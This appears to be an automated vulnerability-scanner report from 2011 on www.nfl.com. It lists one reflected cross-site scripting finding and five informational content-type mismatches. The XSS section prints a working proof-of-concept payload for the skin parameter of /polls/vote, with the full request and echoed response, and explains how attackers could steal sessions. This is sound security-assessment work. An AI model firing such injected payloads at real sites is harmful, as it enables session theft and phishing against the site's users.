XSS, Style Attribute, plain text between tags, Cross Site Scripting, www.nfl.com

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by CloudScan Vulnerability Crawler at Sun Feb 27 16:24:13 CST 2011.


Loading

1. Cross-site scripting (reflected)

2. Content type incorrectly stated

2.1. http://www.nfl.com/content/fantasy/performances/2010/post/rbPerformances.json

2.2. http://www.nfl.com/content/fantasy/performances/2010/post/tePerformances.json

2.3. http://www.nfl.com/content/fantasy/performances/2010/post/wrPerformances.json

2.4. http://www.nfl.com/polls/vote

2.5. http://www.nfl.com/scripts/lib/teams.json



1. Cross-site scripting (reflected)  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.nfl.com
Path:   /polls/vote

Issue detail

The value of the skin request parameter is copied into the HTML document as plain text between tags. The payload e49ef<x%20style%3dx%3aexpression(alert(1))>9251e824ed0 was submitted in the skin parameter. This input was echoed as e49ef<x style=x:expression(alert(1))>9251e824ed0 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

GET /polls/vote?random=6035&loc=Homepage&width=&castVoteFlag=&viewName=poll/display-poll-2010&skin=largee49ef<x%20style%3dx%3aexpression(alert(1))>9251e824ed0 HTTP/1.1
Host: www.nfl.com
Proxy-Connection: keep-alive
Referer: http://www.nfl.com/
X-Requested-With: XMLHttpRequest
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_pers=%20s_nr%3D1297862341492%7C1300454341492%3B%20s_lastvisit%3D1297862341493%7C1392470341493%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Cache-Control: max-age=300
Expires: Wed, 16 Feb 2011 13:23:52 GMT
Date: Wed, 16 Feb 2011 13:18:52 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 3863


       <!--

<p>param.skin = largee49ef<x style=x:expression(alert(1))>9251e824ed0</p>
<p>skinNameValue = generic</p>
<p>clickThru = </p>
<p>trackingPixel = </p>
<p>skinName = generic</p>

...[SNIP]...

2. Content type incorrectly stated  previous
There are 5 instances of this issue:

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.


2.1. http://www.nfl.com/content/fantasy/performances/2010/post/rbPerformances.json  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.nfl.com
Path:   /content/fantasy/performances/2010/post/rbPerformances.json

Issue detail

The response contains the following Content-type statement:The response states that it contains plain text. However, it actually appears to contain JSON.

Request

GET /content/fantasy/performances/2010/post/rbPerformances.json HTTP/1.1
Host: www.nfl.com
Proxy-Connection: keep-alive
Referer: http://www.nfl.com/
X-Requested-With: XMLHttpRequest
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_pers=%20s_nr%3D1297862341492%7C1300454341492%3B%20s_lastvisit%3D1297862341493%7C1392470341493%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26ADE75885013B7F-400001154027A434[CE]; nflpollUoF=0_0_1297817839336V0V0V0V0E

Response

HTTP/1.1 200 OK
ETag: W/"16065-1297862100000"
Last-Modified: Wed, 16 Feb 2011 13:15:00 GMT
Content-Type: text/plain
Cache-Control: max-age=172
Expires: Wed, 16 Feb 2011 13:21:44 GMT
Date: Wed, 16 Feb 2011 13:18:52 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 16065

{"leagues":[{"id":"106567","name":"NFL Fantasy Football","season":"2010","players":[{"id":"1045","esbid":"FOS107404","gsisPlayerId":"00-0026796","name":"Arian Foster","firstName":"Arian","lastName":"F
...[SNIP]...

2.2. http://www.nfl.com/content/fantasy/performances/2010/post/tePerformances.json  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.nfl.com
Path:   /content/fantasy/performances/2010/post/tePerformances.json

Issue detail

The response contains the following Content-type statement:The response states that it contains plain text. However, it actually appears to contain JSON.

Request

GET /content/fantasy/performances/2010/post/tePerformances.json HTTP/1.1
Host: www.nfl.com
Proxy-Connection: keep-alive
Referer: http://www.nfl.com/
X-Requested-With: XMLHttpRequest
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26ADE75885013B7F-400001154027A434[CE]; nflpollUoF=0_0_1297817839336V0V0V0V0E; SiteLifeHost=SJL01WSITENFL03proddmlocal; BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; anonId=70a81f1d-490a-4abb-9839-7b09fd0d5a66; NSC_ogm.dpn=ffffffff090f22dc45525d5f4f58455e445a4a423660; s_pers=%20s_lastvisit%3D1297862341493%7C1392470341493%3B%20s_nr%3D1297863561792%7C1300455561792%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B

Response

HTTP/1.1 200 OK
ETag: W/"15963-1297863300000"
Last-Modified: Wed, 16 Feb 2011 13:35:00 GMT
Content-Type: text/plain
Cache-Control: max-age=160
Expires: Wed, 16 Feb 2011 13:41:42 GMT
Date: Wed, 16 Feb 2011 13:39:02 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 15963

{"leagues":[{"id":"106567","name":"NFL Fantasy Football","season":"2010","players":[{"id":"641","esbid":"WIT559021","gsisPlayerId":"00-0022127","name":"Jason Witten","firstName":"Jason","lastName":"Wi
...[SNIP]...

2.3. http://www.nfl.com/content/fantasy/performances/2010/post/wrPerformances.json  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.nfl.com
Path:   /content/fantasy/performances/2010/post/wrPerformances.json

Issue detail

The response contains the following Content-type statement:The response states that it contains plain text. However, it actually appears to contain JSON.

Request

GET /content/fantasy/performances/2010/post/wrPerformances.json HTTP/1.1
Host: www.nfl.com
Proxy-Connection: keep-alive
Referer: http://www.nfl.com/
X-Requested-With: XMLHttpRequest
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26ADE75885013B7F-400001154027A434[CE]; nflpollUoF=0_0_1297817839336V0V0V0V0E; s_pers=%20s_lastvisit%3D1297862341493%7C1392470341493%3B%20s_nr%3D1297862954550%7C1300454954550%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B

Response

HTTP/1.1 200 OK
ETag: W/"16019-1297862700000"
Last-Modified: Wed, 16 Feb 2011 13:25:00 GMT
Content-Type: text/plain
Cache-Control: max-age=268
Expires: Wed, 16 Feb 2011 13:33:23 GMT
Date: Wed, 16 Feb 2011 13:28:55 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 16019

{"leagues":[{"id":"106567","name":"NFL Fantasy Football","season":"2010","players":[{"id":"704","esbid":"LLO154116","gsisPlayerId":"00-0022097","name":"Brandon Lloyd","firstName":"Brandon","lastName":
...[SNIP]...

2.4. http://www.nfl.com/polls/vote  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.nfl.com
Path:   /polls/vote

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain plain text.

Request

GET /polls/vote?random=6035&loc=Homepage&width=&castVoteFlag=&viewName=poll/display-poll-2010&skin=large HTTP/1.1
Host: www.nfl.com
Proxy-Connection: keep-alive
Referer: http://www.nfl.com/
X-Requested-With: XMLHttpRequest
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_pers=%20s_nr%3D1297862341492%7C1300454341492%3B%20s_lastvisit%3D1297862341493%7C1392470341493%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Cache-Control: max-age=63
Expires: Wed, 16 Feb 2011 13:19:46 GMT
Date: Wed, 16 Feb 2011 13:18:43 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 3821


       <!--

<p>param.skin = large</p>
<p>skinNameValue = generic-large</p>
<p>clickThru = </p>
<p>trackingPixel = </p>
<p>skinName = generic</p>
<p>skinNameLarge = generic-large</p>
<p>f
...[SNIP]...

2.5. http://www.nfl.com/scripts/lib/teams.json  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.nfl.com
Path:   /scripts/lib/teams.json

Issue detail

The response contains the following Content-type statement:The response states that it contains plain text. However, it actually appears to contain JSON.

Request

GET /scripts/lib/teams.json HTTP/1.1
Host: www.nfl.com
Proxy-Connection: keep-alive
Referer: http://www.nfl.com/
X-Requested-With: XMLHttpRequest
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_pers=%20s_nr%3D1297862341492%7C1300454341492%3B%20s_lastvisit%3D1297862341493%7C1392470341493%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26ADE75885013B7F-400001154027A434[CE]; nflpollUoF=0_0_1297817839336V0V0V0V0E

Response

HTTP/1.1 200 OK
ETag: W/"7115-1296186885000"
Last-Modified: Fri, 28 Jan 2011 03:54:45 GMT
Content-Type: text/plain
Cache-Control: max-age=43
Expires: Wed, 16 Feb 2011 13:19:31 GMT
Date: Wed, 16 Feb 2011 13:18:48 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 7115

{
   "BUF" : { "abbr" : "BUF", "url" : "http://www.buffalobills.com/", "teamPage":"/teams/buffalobills/profile?team=BUF", "city" : "Buffalo", "nickname" : "Bills", "conference": "AFC", "division": "East
...[SNIP]...

Report generated by CloudScan Vulnerability Crawler at Sun Feb 27 16:24:13 CST 2011.